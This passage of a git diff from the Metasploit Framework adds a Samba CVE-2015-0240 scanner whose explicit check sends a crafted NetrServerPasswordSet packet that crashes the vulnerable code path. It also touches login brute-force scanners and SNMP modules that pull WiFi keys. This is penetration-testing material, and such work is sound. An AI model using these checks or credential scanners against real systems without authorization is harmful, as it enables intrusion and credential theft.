= Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb' + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State', + 'Description' => %q{ + This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability. + }, + 'Author' => + [ + 'Richard van Eeden', # Original discovery + 'sleepya', # Public PoC for the explicit check + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-0240'], + ['OSVDB', '118637'], + ['URL', 'https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/'], + ['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'], + ['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/'] + ], + 'DefaultOptions' => + { + 'SMBDirect' => true, + 'SMBPass' => '', + 'SMBUser' => '', + 'SMBDomain' => '', + 'DCERPC::fake_bind_multi' => false + } + )) + + # This is a good example of passive vs explicit check + register_options([ + OptBool.new('PASSIVE', [false, 'Try banner checking instead of triggering the bug', false]) + ]) + + # It's either 139 or 445. The user should not touch this. + deregister_options('RPORT', 'RHOST') + end + + def rport + @smb_port || datastore['RPORT'] + end + + + # This method is more explicit, but a major downside is it's very slow. + # So we leave the passive one as an option. + # Please also see #maybe_vulnerable? + def is_vulnerable?(ip) + begin + connect + smb_login + handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"]) + dcerpc_bind(handle) + rescue ::Rex::Proto::SMB::Exceptions::LoginError, + ::Rex::Proto::SMB::Exceptions::ErrorCode => e + elog("#{e.message}\n#{e.backtrace * "\n"}") + return false + rescue Errno::ECONNRESET, + ::Rex::Proto::SMB::Exceptions::InvalidType, + ::Rex::Proto::SMB::Exceptions::ReadPacket, + ::Rex::Proto::SMB::Exceptions::InvalidCommand, + ::Rex::Proto::SMB::Exceptions::InvalidWordCount, + ::Rex::Proto::SMB::Exceptions::NoReply => e + elog("#{e.message}\n#{e.backtrace * "\n"}") + return false + rescue ::Exception => e + elog("#{e.message}\n#{e.backtrace * "\n"}") + return false + end + + # NetrServerPasswordSet request packet + stub = + [ + 0x00, # Server handle + 0x01, # Max count + 0x00, # Offset + 0x01, # Actual count + 0x00, # Account name + 0x02, # Sec Chan Type + 0x0e, # Max count + 0x00, # Offset + 0x0e # Actual count + ].pack('VVVVvvVVV') + + stub << Rex::Text::to_unicode(ip) # Computer name + stub << [0x00].pack('v') # Null byte terminator for the computer name + stub << '12345678' # Credential + stub << [0x0a].pack('V') # Timestamp + stub << "\x00" * 16 # Padding + + begin + dcerpc.call(0x06, stub) + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + elog("#{e.message}\n#{e.backtrace * "\n"}") + rescue Errno::ECONNRESET, + ::Rex::Proto::SMB::Exceptions::InvalidType, + ::Rex::Proto::SMB::Exceptions::ReadPacket, + ::Rex::Proto::SMB::Exceptions::InvalidCommand, + ::Rex::Proto::SMB::Exceptions::InvalidWordCount, + ::Rex::Proto::SMB::Exceptions::NoReply => e + elog("#{e.message}\n#{e.backtrace * "\n"}") + rescue ::Exception => e + if e.to_s =~ /execution expired/i + # So what happens here is that when you trigger the buggy code path, you hit this: + # Program received signal SIGSEGV, Segmentation fault. + # 0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370 + # 370 if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) { + # In the Samba log, you'll see this as an "internal error" and there will be a "panic action". + # And then Samba will basically not talk back to you at that point. In that case, + # you will either lose the connection, or timeout, or whatever... depending on the SMB + # API you're using. In our case (Metasploit), it's "execution expired." + # Samba (daemon) will stay alive, so it's all good. + return true + else + raise e + end + end + + false + ensure + disconnect + end + + + # Returns the Samba version + def get_samba_info + res = '' + begin + res = smb_fingerprint + rescue ::Rex::Proto::SMB::Exceptions::LoginError, + ::Rex::Proto::SMB::Exceptions::ErrorCode + return res + rescue Errno::ECONNRESET, + ::Rex::Proto::SMB::Exceptions::InvalidType, + ::Rex::Proto::SMB::Exceptions::ReadPacket, + ::Rex::Proto::SMB::Exceptions::InvalidCommand, + ::Rex::Proto::SMB::Exceptions::InvalidWordCount, + ::Rex::Proto::SMB::Exceptions::NoReply + return res + rescue ::Exception => e + if e.to_s =~ /execution expired/ + return res + else + raise e + end + ensure + disconnect + end + + res['native_lm'].to_s + end + + + # Converts a version string into an object so we can eval it + def version(v) + Gem::Version.new(v) + end + + + # Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/ + def maybe_vulnerable?(samba_version) + v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || '' + return false if v.empty? + found_version = version(v) + + if found_version >= version('3.5.0') && found_version <= version('3.5.9') + return true + elsif found_version >= version('3.6.0') && found_version < version('3.6.25') + return true + elsif found_version >= version('4.0.0') && found_version < version('4.0.25') + return true + elsif found_version >= version('4.1.0') && found_version < version('4.1.17') + return true + end + + false + end + + + # Check command + def check_host(ip) + samba_info = '' + smb_ports = [445, 139] + smb_ports.each do |port| + @smb_port = port + samba_info = get_samba_info + vprint_status("Samba version: #{samba_info}") + + if samba_info !~ /^samba/i + vprint_status("Target isn't Samba, no check will run.") + return Exploit::CheckCode::Safe + end + + if datastore['PASSIVE'] + if maybe_vulnerable?(samba_info) + flag_vuln_host(ip, samba_info) + return Exploit::CheckCode::Appears + end + else + # Explicit: Actually triggers the bug + if is_vulnerable?(ip) + flag_vuln_host(ip, samba_info) + return Exploit::CheckCode::Vulnerable + end + end + end + + return Exploit::CheckCode::Detected if samba_info =~ /^samba/i + + Exploit::CheckCode::Safe + end + + + # Reports to the database about a possible vulnerable host + def flag_vuln_host(ip, samba_version) + report_vuln( + :host => ip, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => samba_version, + :refs => self.references + ) + end + + + def run_host(ip) + peer = "#{ip}:#{rport}" + case check_host(ip) + when Exploit::CheckCode::Vulnerable + print_good("#{peer} - The target is vulnerable to CVE-2015-0240.") + when Exploit::CheckCode::Appears + print_good("#{peer} - The target appears to be vulnerable to CVE-2015-0240.") + when Exploit::CheckCode::Detected + print_status("#{peer} - The target appears to be running Samba.") + else + print_status("#{peer} - The target appears to be safe") + end + end + +end + diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 422ca47e6a..9a1c016918 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated # Scanner mixin should be near last include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb index a9661a68a4..3e9e1fb357 100644 --- a/modules/auxiliary/scanner/snmp/arris_dg950.rb +++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary print_line('Open Access Wifi is Enabled') wifi_info << 'Open Access WIFI is Enabled' << '\n' - # Wep enabled + # WEP enabled elsif wifi_version == '1' wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12') case wep_type diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb index 0b39d2a13d..8fe98c4273 100644 --- a/modules/auxiliary/scanner/snmp/netopia_enum.rb +++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1') if wifiversion == "1" - #Wep enabled + # WEP enabled elsif wifiversion == ("2"||"3") wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1') print_good("WEP KEY1: #{wepkey1}") @@ -64,14 +64,14 @@ class Metasploit3 < Msf::Auxiliary print_good("Active Wep key is Key#{actkey}") wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" - #WPA enabled + # WPA enabled elsif wifiversion == "4" print_line("Device is configured for WPA ") wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1') print_good("WPA PSK: #{wpapsk}") wifiinfo << "WPA PSK: #{wpapsk}" << "\n" - #WPA Enterprise enabled + # WPA Enterprise enabled elsif wifiversion == "5" print_line("Device is configured for WPA enterprise") else @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary print_line("WIFI is not enabled") end end - #Woot we got loot. + # Woot we got loot. loot_name = "netopia_wifi" loot_type = "text/plain" loot_filename = "netopia_wifi.txt" diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index 3d82c713a0..07530dafd5 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -33,9 +33,6 @@ class Metasploit3 < Msf::Auxiliary begin snmp = connect_snmp - # - # - # fields_order = [ "Host IP", "Hostname", "Description", "Contact", "Location", "Uptime snmp", "Uptime system", @@ -101,17 +98,11 @@ class Metasploit3 < Msf::Auxiliary output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths) end - # - # if (sysDesc =~ /Windows/) domPrimaryDomain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s output_data["Domain"] = domPrimaryDomain.strip - # - # - # - users = [] snmp.walk(["1.3.6.1.4.1.77.1.2.25.1.1","1.3.6.1.4.1.77.1.2.25.1"]) do |user,entry| @@ -123,10 +114,6 @@ class Metasploit3 < Msf::Auxiliary end end - # - # - # - network_information = {} ipForwarding = snmp.get_value('1.3.6.1.2.1.4.1.0') @@ -178,10 +165,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Network information"] = network_information end - # - # - # - network_interfaces = [] snmp.walk([ @@ -298,10 +281,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Network interfaces"] = network_interfaces end - # - # - # - network_ip = [] snmp.walk([ @@ -315,10 +294,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Network IP"] = [["Id","IP Address","Netmask","Broadcast"]] + network_ip end - # - # - # - routing = [] snmp.walk([ @@ -335,10 +310,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Routing information"] = [["Destination","Next hop","Mask","Metric"]] + routing end - # - # - # - tcp = [] snmp.walk([ @@ -406,10 +377,6 @@ class Metasploit3 < Msf::Auxiliary output_data["TCP connections and listening ports"] = [["Local address","Local port","Remote address","Remote port","State"]] + tcp end - # - # - # - udp = [] snmp.walk(["1.3.6.1.2.1.7.5.1.1","1.3.6.1.2.1.7.5.1.2"]) do |ladd,lport| @@ -420,20 +387,9 @@ class Metasploit3 < Msf::Auxiliary output_data["Listening UDP ports"] = [["Local address","Local port"]] + udp end - # - # - # - if (sysDesc =~ /Windows/) - - # - # - # - network_services = [] - n = 0 - snmp.walk(["1.3.6.1.4.1.77.1.2.3.1.1","1.3.6.1.4.1.77.1.2.3.1.2"]) do |name,installed| network_services.push([n,name.value]) n+=1 @@ -443,10 +399,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Network services"] = [["Index","Name"]] + network_services end - # - # - # - share = [] snmp.walk([ @@ -459,10 +411,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Share"] = share end - # - # - # - iis = {} http_totalBytesSentLowWord = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0') @@ -570,10 +518,6 @@ class Metasploit3 < Msf::Auxiliary end end - # - # - # - storage_information = [] snmp.walk([ @@ -633,10 +577,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Storage information"] = storage end - # - # - # - file_system = {} hrFSIndex = snmp.get_value('1.3.6.1.2.1.25.3.8.1.1.1') @@ -728,10 +668,6 @@ class Metasploit3 < Msf::Auxiliary output_data["File system information"] = file_system end - # - # - # - device_information = [] snmp.walk([ @@ -804,10 +740,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Device information"] = [["Id","Type","Status","Descr"]] + device_information end - # - # - # - software_list = [] snmp.walk(["1.3.6.1.2.1.25.6.3.1.1","1.3.6.1.2.1.25.6.3.1.2"]) do |index,name| @@ -818,10 +750,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Software components"] = [["Index","Name"]] + software_list end - # - # - # - process_interfaces = [] snmp.walk([ @@ -844,10 +772,6 @@ class Metasploit3 < Msf::Auxiliary output_data["Processes"] = [["Id","Status","Name","Path","Parameters"]] + process_interfaces end - # - # - # - print_line("\n[*] System information:\n") line = "" @@ -936,15 +860,8 @@ class Metasploit3 < Msf::Auxiliary } print_line(line) - - # - # - # - print_line('') - - rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index a9085437ed..223d5e7a75 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -61,7 +61,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 2 + connection_timeout: 2, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb index 40453b7662..445634756e 100644 --- a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb +++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb @@ -51,12 +51,12 @@ class Metasploit3 < Msf::Auxiliary print_good("SSID: #{ssid}") wifiinfo << "SSID: #{ssid}" << "\n" - #Wifi Security Version + # Wifi Security Version wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12') if wifiversion == "0" print_line("Open Access Wifi is Enabled") - #Wep enabled + # WEP enabled elsif wifiversion == "1" weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12') if weptype == "2" @@ -105,29 +105,29 @@ class Metasploit3 < Msf::Auxiliary print_line("FAILED") end - #WPA enabled + # WPA enabled elsif wifiversion == "2" print_line("Device is configured for WPA ") wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') print_good("WPA PSK: #{wpapsk}") wifiinfo << "WPA PSK: #{wpapsk}" << "\n" - #WPA2 enabled + # WPA2 enabled elsif wifiversion == "3" print_line("Device is configured for WPA2") wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') print_good("WPA2 PSK: #{wpapsk2}") wifiinfo << "WPA PSK: #{wpapsk2}" << "\n" - #WPA Enterprise enabled + # WPA Enterprise enabled elsif wifiversion == "4" print_line("Device is configured for WPA enterprise") - #WPA2 Enterprise enabled + # WPA2 Enterprise enabled elsif wifiversion == "5" print_line("Device is configured for WPA2 enterprise") - #WEP 802.1x enabled + # WEP 802.1x enabled elsif wifiversion == "6" print_line("Device is configured for WEP 802.1X") @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary print_line("WIFI is not enabled") end end - #Woot we got loot. + # Woot we got loot. loot_name = "ubee_wifi" loot_type = "text/plain" loot_filename = "ubee_wifi.txt" diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 6a35873c0c..3bc9ed96fb 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -269,7 +269,7 @@ class Metasploit3 < Msf::Auxiliary end def existing_loot(ltype, key_id) - framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first + framework.db.loots(myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first end def store_keyfile(ip,user,key_id,key_data) diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index b7ed878607..599917e2dc 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -117,6 +117,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: datastore['SSH_TIMEOUT'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index 872376b712..9a4d75ae19 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -210,6 +210,8 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], proxies: datastore['Proxies'], connection_timeout: datastore['SSH_TIMEOUT'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb index 0bd2aa57fb..79b0bb86d1 100644 --- a/modules/auxiliary/scanner/ssl/openssl_ccs.rb +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Masashi Kikuchi', # Vulnerability discovery 'Craig Young ', # Original Scanner. This module is based on it. - 'juan vazquez' # Msf module + 'juan vazquez' # Metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 8b3f4e51fa..66ae8cedd2 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -119,13 +119,13 @@ class Metasploit3 < Msf::Auxiliary 'Jared Stafford ', # Original Proof of Concept. This module is based on it. 'FiloSottile', # PoC site and tool 'Christian Mehlmauer', # Msf module - 'wvu', # Msf module - 'juan vazquez', # Msf module + 'wvu', # Metasploit module + 'juan vazquez', # Metasploit module 'Sebastiano Di Paola', # Msf module - 'Tom Sellers', # Msf module - 'jjarmoc', #Msf module; keydump, refactoring.. - 'Ben Buchanan', #Msf module - 'herself' #Msf module + 'Tom Sellers', # Metasploit module + 'jjarmoc', # Metasploit module; keydump, refactoring.. + 'Ben Buchanan', #Metasploit module + 'herself' #Metasploit module ], 'References' => [ @@ -216,7 +216,7 @@ class Metasploit3 < Msf::Auxiliary when 'KEYS' getkeys else - #Shouldn't get here, since Action is Enum + # Shouldn't get here, since Action is Enum print_error("Unknown Action: #{action.name}") end diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb index 627123561f..061b3b1c10 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -26,7 +26,8 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::CHOST, - Opt::RPORT(30718) + Opt::RPORT(30718), + OptBool.new('CHECK_TCP', [false , 'Check TCP instead of UDP', false]) ], self.class) end @@ -35,26 +36,28 @@ class Metasploit4 < Msf::Auxiliary password = nil begin - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( { + sock_opts = { 'LocalHost' => datastore['CHOST'] || nil, 'PeerHost' => ip, 'PeerPort' => datastore['RPORT'], - 'Context' => - { + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - }) - - udp_sock.put(setup_probe) - - res = udp_sock.recvfrom(65535, 0.5) and res[1] - - if res - password = parse_reply(res) + } + if datastore['CHECK_TCP'] + vprint_good("Checking Lantronix TCP Socket #{datastore['RPORT']} on #{ip}") + rem_sock = Rex::Socket::Tcp.create(sock_opts) + else + # Create an unbound UDP socket if no CHOST is specified, otherwise + # create a UDP socket bound to CHOST (in order to avail of pivoting) + vprint_good("Checking Lantronix UDP Socket #{datastore['RPORT']} on #{ip}") + rem_sock = Rex::Socket::Udp.create(sock_opts) end + rem_sock.put(setup_probe) + res = rem_sock.recvfrom(65535, 0.5) and res[1] + + password = parse_reply(res) rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError print_error("Connection error") rescue ::Interrupt @@ -62,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary rescue ::Exception => e print_error("Unknown error: #{e.class} #{e}") ensure - udp_sock.close if udp_sock + rem_sock.close if rem_sock end if password @@ -71,16 +74,32 @@ class Metasploit4 < Msf::Auxiliary else print_good("#{rhost} - Telnet password found: #{password.to_s}") - report_auth_info({ - :host => rhost, - :port => 9999, - :sname => 'telnet', - :duplicate_ok => false, - :pass => password.to_s - }) + service_data = { + address: ip, + port: 9999, + service_name: 'telnet', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: password.to_s, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) end end - end def parse_reply(pkt) diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 4f45f2c86b..069e3f44dc 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -69,7 +69,9 @@ class Metasploit3 < Msf::Auxiliary max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], banner_timeout: datastore['TelnetBannerTimeout'], - telnet_timeout: datastore['TelnetTimeout'] + telnet_timeout: datastore['TelnetTimeout'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index 17240bdcf3..dc1e190457 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -20,9 +20,9 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Prabhu S Angadi', #Initial discovery and poc - 'sinn3r', #Metasploit - 'juan vazquez' #More improvements + 'Prabhu S Angadi', # Initial discovery and poc + 'sinn3r', # Metasploit module + 'juan vazquez' # More improvements ], 'References' => [ diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index a7096d4fc6..10adb080d7 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary report successful logins. }, 'Author' => ['theLightCosine'], - 'References' => + 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], @@ -76,6 +76,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb index 8e1c3c54b5..c9fd5ff63e 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success - #Get local Users and Groups + # Get local Users and Groups user_list = vim_get_user_list(nil) tmp_users = Rex::Ui::Text::Table.new( 'Header' => "Users for server #{ip}", @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary end end - #Enumerate Domains the Server is connected to + # Enumerate Domains the Server is connected to esx_domains = vim_get_domains case esx_domains when :noresponse @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary when :error print_error "An error occured while trying to enumerate the domains on #{ip}" else - #Enumerate Domain Users and Groups + # Enumerate Domain Users and Groups esx_domains.each do |domain| tmp_dusers = Rex::Ui::Text::Table.new( 'Header' => "Users for domain #{domain}", diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb index c60cd2efaf..68ac985550 100644 --- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -40,7 +40,6 @@ class Metasploit3 < Msf::Auxiliary if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success output = "VMWare Host at #{ip} details\n" - output << "-----------------------------\n" host_summary = vim_get_all_host_summary(datastore['HW_DETAILS']) output << YAML.dump(host_summary) print_good output diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 312e02a4b2..7e5f1af773 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "vnc_passwords.txt") ]), - #We need to set the following options to make sure BLANK_PASSWORDS functions properly + # We need to set the following options to make sure BLANK_PASSWORDS functions properly OptString.new('USERNAME', [false, 'A specific username to authenticate as', '']), OptBool.new('USER_AS_PASS', [false, 'Try the username as the password for all users', false]) ], self.class) @@ -81,6 +81,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: datastore['ConnectTimeout'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index da418946e6..1871aa59d1 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -61,6 +61,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index e27ee07b72..32912c464f 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary vendor_len = response[24,2].unpack('v')[0] vendor = response[40,vendor_len].unpack('A*')[0] print_status("#{ip} Open X Server (#{vendor})") - #Add Report + # Add Report report_note( :host => ip, :proto => 'tcp', diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 8df9a3f552..78d00a3013 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -236,9 +236,14 @@ class Metasploit3 < Msf::Auxiliary print_debug("NOTE: Debug Mode; javascript will not be obfuscated") else pre = Time.now - print_status("Obfuscating initial javascript #{pre}") - @init_js.obfuscate - print_status "Done in #{Time.now - pre} seconds" + + # + # 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn + # + + #print_status("Obfuscating initial javascript #{pre}") + #@init_js.obfuscate + #print_status "Done in #{Time.now - pre} seconds" end #@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};"; @@ -826,8 +831,12 @@ class Metasploit3 < Msf::Auxiliary js << "#{js_debug("'starting exploits (' + global_exploit_list.length + ' total)
'")}\n" js << "window.next_exploit(0);\n" - js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate unless datastore["DEBUG"] + # + # 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn + # + + #js = ::Rex::Exploitation::JSObfu.new(js) + #js.obfuscate unless datastore["DEBUG"] response.body = "#{js}" print_status("Responding with #{sploit_cnt} exploits") diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index 1423e12f51..aefe8fce9c 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary base_url = generate_base_url(cli, request) - # print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") + #print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") case request.uri when /\.js(\?|$)/ diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb index 